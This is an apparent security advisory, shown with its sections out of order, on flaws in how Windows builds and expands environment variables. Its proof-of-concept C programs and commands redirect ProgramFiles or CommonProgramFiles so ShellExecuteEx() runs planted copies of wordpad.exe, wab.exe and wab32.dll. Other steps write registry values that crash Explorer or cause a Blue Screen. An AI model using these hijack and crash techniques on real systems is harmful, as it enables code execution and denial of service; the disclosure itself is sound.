ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\Stefan\AppData\Roaming BLUNDER=Blunder CommonProgramFiles=C:\Program Files (x86)\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=AMNESIAC ComSpec=C:\Windows\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\Stefan LOCALAPPDATA=C:\Users\Stefan\AppData\Local LOGONSERVER=\\AMNESIAC NUMBER_OF_PROCESSORS=4 OneDrive=C:\Users\Stefan\OneDrive OS=Blunder Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;Blunder PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=5e03 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files (x86) ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ PUBLIC=Blunder SESSIONNAME=Console SystemDrive=Blunder TEMP=C:\Users\Stefan\AppData\Local\Temp TMP=C:\Users\Stefan\AppData\Local\Temp USERDOMAIN_ROAMINGPROFILE=AMNESIAC USERPROFILE=C:\Users\Stefan windir=C:\Windows 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.Note: supplied with the access token of a regular user account, the Win32 function
CreateEnvironmentBlock()
defines the programmatic user environment variables
APPDATA
, LOCALAPPDATA
and
USERPROFILE
in addition to the programmatic system
environment variables, processes the non-empty
persistent system and the (underlined) user environment variables
stored in the registry keys
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
and HKEY_CURRENT_USER\Environment
alias
HKEY_USERS\‹security identifier›\Environment
plus the non-empty volatile user environment
variables except USERDOMAIN
and USERNAME
stored in the registry keys
HKEY_CURRENT_USER\Volatile Environment
and
HKEY_CURRENT_USER\Volatile Environment\‹session identifier›
,
concatenates the values of the variables Path
separated
by a semicolon and expands the references to SystemRoot
and USERPROFILE
.
OUCH⁷: it lets a persistent user environment
variable except LibPath
, OS2LibPath
and
Path
stored without value (here
SystemDrive
) overwrite a previously
defined (persistent or programmatic) system or programmatic user
environment variable with the same name with the value of the last
non-empty volatile user environment variable processed before!
OUCH⁸: it lets a persistent user environment
variable except LibPath
, OS2LibPath
and
Path
stored with empty value (here
SystemRoot
) discard a previously
defined (persistent or programmatic) system or programmatic user
environment variable with the same name!
Compile and link the source file blunder.c
overwritten
in step 11. a last time, now with the preprocessor macros
BLUNDER
and blunder
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 18. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁹: the graphical
shellExplorer
Explorer.exe
crashes almost
immediately, typically followed by other applications except the
Command Processor
Cmd.exe
– logging off
and on fails to recover from this blunder!
Press the
Ctrl Alt Del
keyboard shortcut, click on Switch User and log on to
an Administrator
account, then start the
Registry Editor
RegEdit.exe
, open the
registry key
HKEY_USERS\‹security identifier›\Environment
that contains the registry entries BLUNDER
,
OS
, Path
, PUBLIC
,
SystemDrive
and SystemRoot
, delete them
and close the Registry Editor.
Note: the format of the
security identifier
is
S-1-5-21-‹digits›-‹digits›-‹digits›-‹digits›
for local as well as domain user accounts and
S-1-11-96-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›
for Microsoft user accounts.
SID Components
Note: on Windows 8 and later versions
optionally add the registry entry Path
as
Expandable String Value with
value %USERPROFILE%\AppData\Local\Microsoft\WindowsApps
if you need to use Store Apps
.
Press the Ctrl Alt Del keyboard shortcut again, click on Switch User and resume the previous user session, then log off and log on again to verify the successful recovery from the blunder.
Log off and resume the previous Administrator session,
start the Registry Editor
RegEdit.exe
again, open the
registry key
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment
,
add the registry entry SystemRoot
as
Expandable String Value or
String Value with empty
value, close the Registry Editor,
log off, reboot the computer and admire the following
Blue Screen of Death as well as the futile attempt of
an automatic repair.
Reboot into the Windows Recovery Environment, load the
registry hive C:\Windows\System32\Config\SYSTEM
, remove
the offending empty registry entry SystemRoot
, unload
the registry hive and boot the recovered Windows again:
REG.EXE LOAD "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM" REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F REG.EXE UNLOAD "HKU\SYSTEM"
The operation completed successfully. The operation completed successfully. The operation completed successfully.
Overwrite the text file blunder.c
created in
step 3. once more, now with the following content:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
const LPCWSTR szBlunder[] = {L"ALLUSERSPROFILE",
L"APPDATA",
L"CommonAppData",
L"CommonProgramFiles",
L"CommonProgramFiles(x86)",
L"CommonProgramW6432",
L"COMSPEC",
L"DriverData",
L"HOMEDRIVE",
L"HOMEPATH",
L"HOMESHARE",
L"LOCALAPPDATA",
L"OneDrive",
L"PATH",
L"ProgramData",
L"ProgramFiles",
L"ProgramFiles(x86)",
L"ProgramW6432",
L"PSModulePath",
L"PUBLIC",
L"SystemDrive",
L"SystemRoot",
L"TEMP",
L"TMP",
L"USERPROFILE",
L"windir"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
LPWSTR lpBlock;
LPWSTR lpBlunder;
HKEY hBlunder;
DWORD dwBlunder = 0UL;
#ifdef BLUNDER
DWORD dwError = RegRenameKey(HKEY_CURRENT_USER, L"Environment", L"Blunder");
#else
DWORD dwError = RegRenameKey(HKEY_CURRENT_USER, L"Volatile Environment", L"Blunder");
#endif
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
HANDLE hToken;
HANDLE hProcess = GetCurrentProcess();
if (dwError == ERROR_SUCCESS)
{
dwError = RegCreateKeyEx(HKEY_CURRENT_USER,
#ifdef BLUNDER
L"Environment",
#else
L"Volatile Environment",
#endif
0UL,
(LPWSTR) NULL,
REG_OPTION_VOLATILE,
KEY_SET_VALUE,
(LPSECURITY_ATTRIBUTES) NULL,
&hBlunder,
(LPDWORD) NULL);
if (dwError == ERROR_SUCCESS)
{
do
dwError = RegSetValueEx(hBlunder,
szBlunder[dwBlunder],
0UL,
REG_SZ,
#ifdef BLUNDER
(LPBYTE) NULL,
0UL);
#else
(LPBYTE) L"",
sizeof(L""));
#endif
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
dwError = RegCloseKey(hBlunder);
#if 0
if (SendMessageTimeout(HWND_BROADCAST,
WM_SETTINGCHANGE,
(WPARAM) 0,
(LPARAM) L"Environment",
SMTO_NORMAL,
0x815U,
(LPDWORD) NULL) == 0)
dwError = GetLastError();
#elif 0
if (SendMessage(GetShellWindow(),
WM_SETTINGCHANGE,
(WPARAM) 0,
(LPARAM) L"Environment") == 0)
dwError = GetLastError();
#endif
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
dwError = GetLastError();
else
{
if (!CreateEnvironmentBlock(&lpBlock, hToken, FALSE))
dwError = GetLastError();
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!DestroyEnvironmentBlock(lpBlock))
dwError = GetLastError();
}
if (!CloseHandle(hToken))
dwError = GetLastError();
}
#ifdef BLUNDER
dwError = RegDeleteKey(HKEY_CURRENT_USER, L"Environment");
#else
dwError = RegDeleteKey(HKEY_CURRENT_USER, L"Volatile Environment");
#endif
}
#ifdef BLUNDER
dwError = RegRenameKey(HKEY_CURRENT_USER, L"Blunder", L"Environment");
#else
dwError = RegRenameKey(HKEY_CURRENT_USER, L"Blunder", L"Volatile Environment");
#endif
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 24. a first time:
CL.EXE blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 25. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
COMPUTERNAME=AMNESIAC
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5e03
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
Compile and link the source file blunder.c
overwritten
in step 24. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib userenv.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 27. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
COMPUTERNAME=AMNESIAC
NUMBER_OF_PROCESSORS=4
OS=Windows_NT
Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=5e03
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
usualundocumented) dependency of Windows NT on the user-controlled environment variable
SystemRoot
is a
well-known weakness, documented as
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-73: External Control of File Name or Path,
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element
in the
CWE™
– it allows well-known attacks like
CAPEC-13: Subverting Environment Variable Values
and
CAPEC-471: Search Order Hijacking
documented in the
CAPEC™.
Note: a proper implementation uses the
NtSystemRoot[MAX_PATH]
member of the
KUSER_SHARED_DATA
structure mapped into
every process at address 0x7FFE000 to get the path
name of the Windows\
directory or calls one of the
Win32 functions
GetAllUsersProfileDirectory()
,
GetDefaultUserProfileDirectory()
,
GetProfilesDirectory()
,
GetSystemDirectory()
,
GetSystemWindowsDirectory()
,
GetSystemWow64Directory()
,
GetUserProfileDirectory()
,
GetWindowsDirectory()
,
SHGetFolderPath()
and
SHGetKnownFolderPath()
to determine (system) path names instead to evaluate user-controlled
environment variables!
Secure loading of libraries to prevent DLL preloading attacks
Loading the WAB32.dllsection:
With Microsoft Internet Explorer 4.0 or later, Wab32.dll is set in the registry atNote: Internet Explorer 4.0 was shipped with Windows NT 4!HKLM\Software\Microsoft\WAB\DLLPath
Windows Address Book
was last shipped with Windows Server 2003 R2, its
successor
Windows Contacts
was first shipped with Windows Vista and is still
shipped with Windows 10 and
Windows Server 2022 – the
DLL
WAB32.dll
is therefore present
and registered in Windows NT until today.
The MSDN article Application Registration specifies:
When the ShellExecuteEx function is called with the name of an executable file in its lpFile parameter, there are several places where the function looks for the file. We recommend registering your application in the App Paths registry subkey. Doing so avoids the need for applications to modify the system PATH environment variable.Note: the Win32 functionThe file is sought in the following locations:
[…] An application that is installed for per user can be registered under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths. An application that is installed for all users of the computer can be registered under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths.
- The current working directory.
- The Windows directory only (no subdirectories are searched).
- The Windows\System32 directory.
- Directories listed in the PATH environment variable.
- Recommended: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
The entries found under App Paths are used primarily for the following purposes:
If the name of a subkey of App Paths matches the file name, the Shell performs two actions:
- To map an application's executable file name to that file's fully qualified path.
- To pre-pend information to the PATH environment variable on a per-application, per-process basis.
- The (Default) entry is used as the file's fully qualified path.
- The Path entry for that subkey is pre-pended to the PATH environment variable of that process. If this is not required, the Path value can be omitted.
ShellExecute()
consults both registry keys too!
OUCH⁰: both MSDN articles but fail to warn that the evaluated registry entries may reference user-controlled environment variables! Registry Keys Affected by Windows Installations That Include Windows on Windows (WOW) Support For Multiple Processor Architectures
Start the Command Processor
Cmd.exe
in an
arbitrary, preferable empty directory, then query the
registry keys named above:
REG.EXE QUERY HKLM\Software\Microsoft\WAB\DLLPath REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /S REG.EXE QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /SNote: the command lines can be copied and pasted as block into a Command Processor window.
HKEY_LOCAL_MACHINE\Software\Microsoft\WAB\DLLPath (Default) REG_EXPAND_SZ %CommonProgramFiles%\System\wab32.dll HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\licensemanagershellext.exe (Default) REG_EXPAND_SZ %SystemRoot%\System32\licensemanagershellext.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mip.exe (Default) REG_EXPAND_SZ %CommonProgramFiles%\Microsoft Shared\Ink\mip.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mplayer2.exe (Default) REG_EXPAND_SZ %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe Path REG_EXPAND_SZ %ProgramFiles(x86)%\Windows Media Player HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pbrush.exe (Default) REG_EXPAND_SZ %SystemRoot%\System32\mspaint.exe Path REG_EXPAND_SZ %SystemRoot%\System32 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PowerShell.exe (Default) REG_EXPAND_SZ %SystemRoot%\system32\WindowsPowerShell\v1.0\PowerShell.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SnippingTool.exe (Default) REG_EXPAND_SZ %SystemRoot%\system32\SnippingTool.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe (Default) REG_EXPAND_SZ %CommonProgramFiles%\microsoft shared\ink\TabTip.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wab.exe (Default) REG_EXPAND_SZ %ProgramFiles%\Windows Mail\wab.exe Path REG_EXPAND_SZ %ProgramFiles%\Windows Mail HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wabmig.exe (Default) REG_EXPAND_SZ %ProgramFiles%\Windows Mail\wabmig.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.exe (Default) REG_EXPAND_SZ %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe Path REG_EXPAND_SZ %ProgramFiles(x86)%\Windows Media Player HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WORDPAD.EXE (Default) REG_EXPAND_SZ "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WRITE.EXE (Default) REG_EXPAND_SZ "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" End of search: 16 match(es) found. End of search: 0 match(es) found.OUCH¹: the (highlighted) references to the environment variables
CommonProgramFiles
,
ProgramFiles
, ProgramFiles(x86)
and
SystemRoot
introduce a safety as well as security
hazard – they allow to tamper with the execution of
WAB32.dll
,
MIP.exe
,
MPlayer2.exe
,
PBrush.exe
,
PowerShell.exe
,
TabTip.exe
,
WAB.exe
,
WABMig.exe
,
WMPlayer.exe
and
WordPad.exe
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef _DLL
__declspec(safebuffers)
BOOL WINAPI _DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
WCHAR szProcess[MAX_PATH];
DWORD dwProcess;
HANDLE hConsole;
if (dwReason != DLL_PROCESS_ATTACH)
return FALSE;
if (!DisableThreadLibraryCalls(hModule))
return FALSE;
dwModule = GetModuleFileName(hModule,
szModule,
sizeof(szModule) / sizeof(*szModule));
hConsole = GetConsoleWindow();
if (hConsole != NULL)
{
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\n';
hConsole = GetStdHandle(STD_ERROR_HANDLE);
return WriteConsole(hConsole, szModule, ++dwModule, &dwModule, NULL);
}
if (dwModule < sizeof(szModule) / sizeof(*szModule))
szModule[dwModule] = L'\n';
dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
szProcess[dwProcess] = L'\0';
return IDOK == MessageBoxEx(HWND_DESKTOP,
szProcess,
szModule,
MB_OKCANCEL,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
}
#elif 0
__declspec(noreturn)
VOID CDECL wWinMainCRTStartup(VOID)
{
WCHAR szProcess[MAX_PATH];
DWORD dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
szProcess[dwProcess] = L'\0';
dwProcess = MessageBoxEx(HWND_DESKTOP,
GetCommandLine(),
szProcess,
MB_OK,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
ExitProcess(dwProcess != 0UL ? ERROR_SUCCESS : GetLastError());
}
#else // _DLL
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szProcess[MAX_PATH];
DWORD dwProcess = GetModuleFileName((HMODULE) NULL,
szProcess,
sizeof(szProcess) / sizeof(*szProcess));
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
szProcess[dwProcess] = L'\n';
if (!WriteConsole(hError, szProcess, ++dwProcess, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwProcess)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
ExitProcess(dwError);
}
#endif // _DLL
Compile and link the source file blunder.c
created in
step 2. twice:
SET CL=/W4 /Zl SET LINK=/NODEFAULTLIB CL.EXE /LD /MD blunder.c kernel32.lib user32.lib SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(11) : warning C4100: 'lpReserved' : unreferenced formal parameter Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /NODEFAULTLIB /out:blunder.dll /dll /implib:blunder.lib blunder.obj kernel32.lib user32.lib Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Create the directory Blunder\
with the subdirectories
Outlook Express\
, System\
,
Windows Mail\
and Windows NT\Accessories\
in the root of the system drive
, then move the
DLL
blunder.dll
built in step 3. as
wab32.dll
(or wab32res.dll
) into the
subdirectory System\
, copy the console application
blunder.exe
built in step 3. as
wab.exe
into the subdirectories
Outlook Express\
as well as Windows Mail\
and move it as wordpad.exe
into the subdirectory
Windows NT\Accessories\
:
MKDIR "%SystemDrive%\Blunder\Outlook Express" MKDIR "%SystemDrive%\Blunder\System" MKDIR "%SystemDrive%\Blunder\Windows Mail" MKDIR "%SystemDrive%\Blunder\Windows NT\Accessories" MOVE blunder.dll "%SystemDrive%\Blunder\System\wab32.dll" COPY blunder.exe "%SystemDrive%\Blunder\Outlook Express\wab.exe" COPY blunder.exe "%SystemDrive%\Blunder\Windows Mail\wab.exe" MOVE blunder.exe "%SystemDrive%\Blunder\Windows NT\Accessories\wordpad.exe"Note: the 4 subdirectories can be created anywhere, their location doesn’t matter – use for example
%PUBLIC%\
or %SystemRoot%\Temp\
instead of
%SystemDrive%\Blunder\
!
1 file(s) copied. 1 file(s) copied.
Overwrite the text file blunder.c
created
in step 2. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SHELLEXECUTEINFO sei = {sizeof(sei),
SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS | SEE_MASK_NO_CONSOLE,
HWND_DESKTOP,
(LPCWSTR) NULL,
#ifdef BLUNDER
L"WAB.exe",
L"/?",
L".",
#else
L"WordPad.exe",
L"/?",
L"..",
#endif
SW_SHOWNORMAL,
(HINSTANCE) NULL,
NULL,
(LPCWSTR) NULL,
HKEY_CLASSES_ROOT,
0UL,
(HANDLE) NULL,
(HANDLE) NULL};
DWORD dwProcess;
DWORD dwError = ERROR_SUCCESS;
#ifndef blunder
if (!SetEnvironmentVariable(L"SystemRoot", (LPCWSTR) NULL))
#elif blunder == 1
if (!SetEnvironmentVariable(L"ProgramFiles", L"C:\\Blunder"))
#else
if (!SetEnvironmentVariable(L"CommonProgramFiles", L"C:\\Blunder")
|| !SetEnvironmentVariable(L"CommonProgramFiles(x86)", L"C:\\Blunder"))
#endif
dwError = GetLastError();
else
if (!ShellExecuteEx(&sei))
dwError = GetLastError();
else
{
if (WaitForSingleObject(sei.hProcess, INFINITE) == WAIT_FAILED)
dwError = GetLastError();
if (!GetExitCodeProcess(sei.hProcess, &dwProcess))
dwError = GetLastError();
else
dwError = 0UL - dwProcess;
if (!CloseHandle(sei.hProcess))
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 5. a first time:
CL.EXE blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application blunder.exe
built in
step 6. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
0
OUCH²: without the process environment
variable SystemRoot
defined, the
Windows Wordpad Application
WordPad.exe
fails,
but exits with code 0 instead of a proper error code!
Compile and link the source file blunder.c
overwritten
in step 5. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application
blunder.exe
built in
step 8. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-1Note: despite the missing environment variable
SystemRoot
, the
Windows Address Book
respectively
Windows Contacts
application
WAB.exe
displays its Help message box and exits with code 1!
Compile and link the source file blunder.c
overwritten
in step 5. a third time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application blunder.exe
built in
step 10. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\Windows NT\Accessories\wordpad.exe
0
OUCH³: with the process environment variable
ProgramFiles
set to the parent directory of the
subdirectory Windows NT\Accessories\
created in
step 4., the Win32 function
ShellExecuteEx()
executes an arbitrary (malicious) application named
wordpad.exe
from this subdirectory instead of the true
%ProgramFiles%\Windows NT\Accessories\wordpad.exe
respectively
%ProgramFiles(x86)%\Windows NT\Accessories\wordpad.exe
!
Compile and link the source file blunder.c
overwritten
in step 5. a fourth time, now with the preprocessor macros
BLUNDER
and blunder
defined:
CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application blunder.exe
built in
step 12. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\Windows Mail\wab.exe
0
OUCH⁴: with the process environment variable
ProgramFiles
set to the parent directory of the
subdirectory Outlook Express\
or
Windows Mail\
created in step 4., the
Win32 function
ShellExecuteEx()
executes an arbitrary (malicious) application named
wab.exe
from this subdirectory instead of the true
%ProgramFiles%\Outlook Express\wab.exe
respectively
%ProgramFiles(x86)%\Outlook Express\wab.exe
on Windows NT 4 to Windows Server 2003 R2
or
%ProgramFiles%\Windows Mail\wab.exe
respectively
%ProgramFiles(x86)%\Windows Mail\wab.exe
on Windows Vista to Windows Server 2022!
Compile and link the source file blunder.c
overwritten
in step 5. a last time, now with the preprocessor macros
BLUNDER
and blunder
defined as 1 and 0:
CL.EXE /DBLUNDER /Dblunder=0 blunder.c kernel32.lib shell32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib shell32.lib
Execute the console application blunder.exe
built in
step 14. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
C:\Blunder\System\wab32.dll
-1
